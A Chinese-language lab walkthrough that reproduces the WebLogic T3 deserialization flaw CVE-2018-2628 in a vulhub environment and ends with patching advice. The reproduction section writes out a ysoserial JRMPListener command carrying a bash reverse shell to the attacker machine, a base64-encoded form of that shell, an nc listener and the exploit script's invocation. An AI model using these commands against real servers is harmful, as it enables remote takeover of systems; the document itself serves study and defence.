关于中间件Weblogic WLS Core Components 的反序列化命令执行漏洞(CVE-2018-2628)

一、漏洞介绍


Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。

二、环境搭建

  • 攻击机:192.168.70.2(kali)
  • 靶机:192.168.70.3(vulhub)

1、利用命令:docker-compose up -d 启动环境
关于中间件Weblogic WLS Core Components 的反序列化命令执行漏洞(CVE-2018-2628)
2、等待环境启动(可能会稍微等会儿),访问http://your-ip:7001/console,初始化整个环境。
关于中间件Weblogic WLS Core Components 的反序列化命令执行漏洞(CVE-2018-2628)

三、漏洞复现

1、在攻击机使用ysoserial启动一个JMRP Server。
本来命令是这样的:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 16666 CommonsCollections1 “bash -i >& /dev/tcp/192.168.70.2/21 0>&1

但我们在使用bash反弹shell的时候,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码(点我在线编码

所以转化后的命令是:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 16666 CommonsCollections1 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcwLjIvMjEgMD4mMQ}|{base64,-d}|{bash,-i}

JMRP Server在16666端口上监听请求,向目标服务器发送序列化的bash反弹shell命令,反弹监听的端口为21。
关于中间件Weblogic WLS Core Components 的反序列化命令执行漏洞(CVE-2018-2628)

ysoserial命令格式:
ysoserial.jar [payload] “[command]”。
payload: ysoserial.exploit.JRMPListener (port) (payload_type)。
port:JRMP Server监听的端口,监听的是没有要求的 1-65535之间都可以只要端口不重复皆可。
payload_type:根据目标jdk版本选择CommonsCollections利用库。

2、在攻击机启用nc监听21端口。

 注意:这里新开一个窗口。
关于中间件Weblogic WLS Core Components 的反序列化命令执行漏洞(CVE-2018-2628)

3、使用EXP向目标WebLogic服务器发送攻击载荷(payload)
在攻击机新建一个文档,后缀名为.py ,内容为EXP链接内容。

关于中间件Weblogic WLS Core Components 的反序列化命令执行漏洞(CVE-2018-2628)

关于中间件Weblogic WLS Core Components 的反序列化命令执行漏洞(CVE-2018-2628)

参数 注释
victim ip 受害者IP
victim port 受害者端口,7001
path to ysoserial 本地ysoserial路径
JRMPListener ip 启用ysoserial的IP
JRMPClient 执行JRMPClient的类(JRMPClient / JRMPClient2)

命令:python exp.py 192.168.70.37001ysoserial.jar192.168.70.216666JRMPClient
关于中间件Weblogic WLS Core Components 的反序列化命令执行漏洞(CVE-2018-2628)
4、成功拿到靶机shell
关于中间件Weblogic WLS Core Components 的反序列化命令执行漏洞(CVE-2018-2628)

四、修复建议

1、整个操作过程中的核心攻击过程是:
EXP和目标服务器建立T3连接,目标服务器weblogic上的JVM虚拟机远程调用了监听程序中的方法执行序列化操作,将流量反弹到nc上。



2、修复建议

  • 关闭T3服务,或控制T3服务的访问权限(临时)。
  • 打官方补丁。






你只管往前走,
           其它的交给时间。
                     一分一秒,
                          一滴泪的时间。